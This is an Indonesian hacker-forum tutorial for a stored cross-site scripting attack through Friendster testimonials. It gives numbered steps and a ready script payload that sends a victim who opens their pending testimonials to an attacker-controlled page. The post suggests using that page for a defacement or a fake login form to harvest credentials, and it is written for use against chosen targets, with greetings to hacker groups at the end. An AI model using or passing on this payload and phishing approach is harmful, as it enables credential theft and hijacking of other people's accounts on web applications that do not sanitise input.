Borneo

Friendster… Makin banyak yang maniak, makin banyak para hacker yang mencari ceLah kelemahan ini…

Salah satunya adalah melakukan alih halaman, lewat testimonial yang diberikan..

Langkahnya:
1. Login Friendster
2. Cari Target yang ingin di testi
3. TuLis Testi dengan Format::
_mulai testi_
woi.. Aga Kareba? Kapan ke kos?<script>window.location=”http://Link-yang-akan-di-tuju.com”;</script>
_akhir testi_

Apa yang terjadi??
Pada saat target membuka pending testinya, maka sang target akan dialihkan ke halaman lain yang telah kita buat..
Seperti halaman deface, Form Login palsu, atau apalah iTu.. ntar malah ngerusak imajinasi kalian semua.
Sehingga sang target, tidak dapat membaca pending testimonials yang masuk, karena telah dialihkan ke halaman yang telah kita injeksikan tadi
Hikz..Hikz.. kasian juga ya.. :p
MaaF Kalau ArtikeL ini kelihatan ndeso, katro, ataupun kutukupret. ;p
Mungkin tulisan ini hampir sama dengan re-direct lewat testi di artikel sebelumnya.
Sebenarnya, hal ini bisa diakalin untuk hal- hal yang lebih berguna.

ThaNkz To:

Van_Jogja_Community@UII Informatics
#samarindahack, #Balikpapan Underground, #jambi Hacker, #G_FOUR Crue, #KPMB Jogja.

Source: JASAKOM Information Center